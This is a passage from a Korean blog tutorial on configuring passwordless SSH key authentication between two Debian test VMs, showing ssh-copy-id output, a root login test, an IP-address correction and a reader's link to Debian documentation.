|.=.+X. . o |
|o.** = . + |
|.o..E o S |
|o o . . o |
|. + . . o |
| . * o o |
| oo*o+ |
+----[SHA256]-----+
-----------------------------------------

생성된 공개키(~/.ssh/id_rsa.pub)는 외부에 공개되어도 되지만,
개인키(~/.ssh/id_rsa)는 절대로 외부에 공개하면 안됩니다.

-----------------------------------------
westporch@test-vm-01:~/.ssh$ ls -lh
합계 12K
-rw------- 1 westporch westporch 1.7K 10월 1 00:40 id_rsa
-rw-r--r-- 1 westporch westporch 402 10월 1 00:40 id_rsa.pub
-rw-r--r-- 1 westporch westporch 222 10월 1 00:42 known_hosts
-----------------------------------------

3.2. 클라이언트의 공개키를 서버(도착지)에 복사

-----------------------------------------
westporch@test-vm-01:~$ ssh-copy-id root@192.168.1.100
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/westporch/.ssh/id_rsa.pub"
The authenticity of host '192.168.1.100 (192.168.1.100)' can't be established.
ECDSA key fingerprint is SHA256:vsyoOlv44YavJKRnv/1vR+Nyt36vuyKQXUrLIsw2Kao.
Are you sure you want to continue connecting (yes/no)? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
root@192.168.1.100's password:

Number of key(s) added: 1

Now try logging into the machine, with: "ssh 'root@192.168.1.100'"
and check to make sure that only the key(s) you wanted were added.
-----------------------------------------

3.3. 자동 접속 테스트
아이디와 비밀번호를 입력하지 않고, 자동으로 test-vm-02의 루트 계정으로 접속하였습니다.

-----------------------------------------
westporch@test-vm-01:~$ ssh root@192.168.1.100
Linux test-vm-02 4.9.0-7-amd64 #1 SMP Debian 4.9.110-3+deb9u2 (2018-08-13) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Oct 1 00:36:26 2018 from 192.168.1.90
root@test-vm-02:~#
root@test-vm-02:~# id
uid=0(root) gid=0(root) groups=0(root)
-----------------------------------------

* 내용 수정(2018.10.08.)
ip주소를 잘못 적어서 수정했습니다.
192.168.0.99 → 192.168.1.99
192.168.0.100 → 192.168.1.100

https://www.debian.org/devel…

https://www.debian.org/devel/passwordlessssh.en.html

제 답이 뒷북인 거 같습니다만... 위 링크도 참고하셔요.